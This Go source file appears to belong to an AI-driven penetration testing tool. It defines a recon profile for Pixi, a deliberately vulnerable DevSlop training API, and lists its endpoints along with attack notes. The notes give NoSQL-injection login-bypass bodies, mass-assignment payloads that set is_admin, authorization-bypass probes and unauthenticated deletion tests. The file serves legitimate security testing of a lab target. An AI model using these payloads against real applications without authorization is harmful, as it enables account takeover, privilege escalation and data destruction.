package recon

import "github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"

// pixiProfile is the API surface of Pixi (DevSlop/Pixi), a MongoDB-backed
// vulnerable API+SPA from the DevSlop project. Its /api/* routes are JSON
// endpoints a crawler never links to, so this profile hands the exploit agent
// Pixi's planted flaws: NoSQL injection on auth, mass assignment of is_admin,
// admin functions with only a token check, unauthenticated picture deletion,
// cross-user reads, and a JWT that embeds the user's password.
//
// Routes verbatim from api/api.js (default branch). Auth is a JWT bearer token
// returned by login/register. IMPORTANT body shape: login/register use the
// fields "user" and "pass" (NOT email/password), and register accepts an
// optional "is_admin".
var pixiProfile = apiProfile{
	name: "pixi",
	// Signatures: two token-gated /api routes that exist on Pixi (answer 401 when
	// unauthenticated, never 404) and 404 on an unrelated app.
	signatures: []signatureRoute{
		{method: "GET", path: "/api/pictures"},
		{method: "GET", path: "/api/admin/all_users"},
	},
	build: func(base string) []pipeline.EndpointRecord {
		a := base + "/api"
		return []pipeline.EndpointRecord{
			{
				URL:         a + "/user/login",
				Method:      "POST",
				Interesting: true,
				Notes: "AUTH + NoSQL INJECTION. Body (JSON): {\"user\":\"...\",\"pass\":\"...\"} — note the " +
					"fields are \"user\" and \"pass\", not email/password. The handler passes req.body.user / " +
					"req.body.pass straight into Mongo findOne, so an operator object bypasses auth: send " +
					`{"user":{"$gt":""},"pass":{"$gt":""}} (or {"$ne":null}) to log in as the first/any user ` +
					"without credentials. A 200 returning a JWT from the operator payload proves NoSQL auth " +
					"bypass. Capture the token and reuse as Authorization: Bearer {{jwt}}. (Duplicate route: " +
					"POST /api/login.)",
			},
			{
				URL:         a + "/user/register",
				Method:      "POST",
				Interesting: true,
				Notes: "MASS ASSIGNMENT. Baseline body (JSON): {\"user\":\"atk_{{nonce}}\",\"pass\":\"Attacker@123\"}. " +
					"The register handler accepts a client-supplied \"is_admin\" — repeat with " +
					`{"user":"atk2_{{nonce}}","pass":"Attacker@123","is_admin":true} and the account is created ` +
					"as admin. Confirm via the admin-only routes below succeeding with that account's token. " +
					"This is the canonical --verify mass-assignment case (attack body with is_admin vs control " +
					"body without). (Duplicate: POST /api/register, which also skips the length check.)",
			},
			{
				URL:    a + "/user/info",
				Method: "GET",
				Notes: "Returns the caller's own user record (token required). The returned data / JWT embeds " +
					"the stored password — decode the JWT (it is signed but the payload is readable) to confirm " +
					"the 'password in token' exposure the Pixi authors flag as a BIG VULNERABILITY.",
			},
			{
				URL:         a + "/user/edit_info",
				Method:      "PUT",
				Interesting: true,
				Notes: "MASS ASSIGNMENT (second vector): update own profile. Body may include email, password, " +
					"name — and crucially \"is_admin\". Send {\"is_admin\":true} with an ordinary user's token and " +
					"confirm elevation via the admin routes — privilege escalation on an existing account.",
			},
			{
				URL:         a + "/other_user_info",
				Method:      "GET",
				Interesting: true,
				Parameters:  []string{"user_id"},
				Notes: "BOLA: GET /api/other_user_info?user_id={{victim_id}} returns another user's profile " +
					"(name, avatar) with the caller's own token. Enumerate user_id values; a 200 returning a " +
					"user other than the caller proves broken object-level authorization.",
			},
			{
				URL:         a + "/admin/all_users",
				Method:      "GET",
				Interesting: true,
				Notes: "BFLA (missing role check): returns ALL users (including sensitive fields) with only a " +
					"VALID TOKEN — no admin-role verification. A 200 dump from an ordinary user's token proves " +
					"broken function-level authorization. Pairs with the mass-assignment finding (become admin, " +
					"or just use any token).",
			},
			{
				URL:         a + "/admin/total_money",
				Method:      "GET",
				Interesting: true,
				Notes: "BFLA (missing role check): admin financial total reachable with any valid token, no " +
					"admin check. A 200 proves the same function-level authz flaw as all_users.",
			},
			{
				URL:         a + "/picture/delete/{{picture_id}}",
				Method:      "GET",
				Interesting: true,
				Parameters:  []string{"picture"},
				Notes: "UNAUTHENTICATED DESTRUCTIVE action: deletes a picture by path param with NO auth. A " +
					"2xx deleting a resource without any token proves broken access control (unauthenticated " +
					"state change). Destructive — target a throwaway picture id created for the test.",
			},
			{
				URL:         base + "/user_delete_photo",
				Method:      "GET",
				Interesting: true,
				Parameters:  []string{"picture_id"},
				Notes: "UNAUTHENTICATED DESTRUCTIVE action (second vector): GET /user_delete_photo/?picture_id= " +
					"deletes a picture via query param with no auth. Same class as picture/delete above. " +
					"Destructive — use a throwaway id.",
			},
			{
				URL:    a + "/picture/upload",
				Method: "POST",
				Notes: "File upload (multipart field \"file\", token required). Probe unrestricted upload: a " +
					"server-side script / polyglot that is stored and served from /uploads may yield stored XSS " +
					"or worse. Confirm the stored file is retrievable under /uploads before claiming impact.",
			},
			{
				URL:        a + "/picture/delete",
				Method:     "DELETE",
				Parameters: []string{"picture_id"},
				Notes: "BROKEN OWNERSHIP: DELETE /api/picture/delete?picture_id= lets any authenticated user " +
					"delete ANY picture (no ownership check). A 2xx deleting a picture owned by another user " +
					"proves the flaw. Destructive — throwaway id.",
			},
		}
	},
	chains: nil,
}
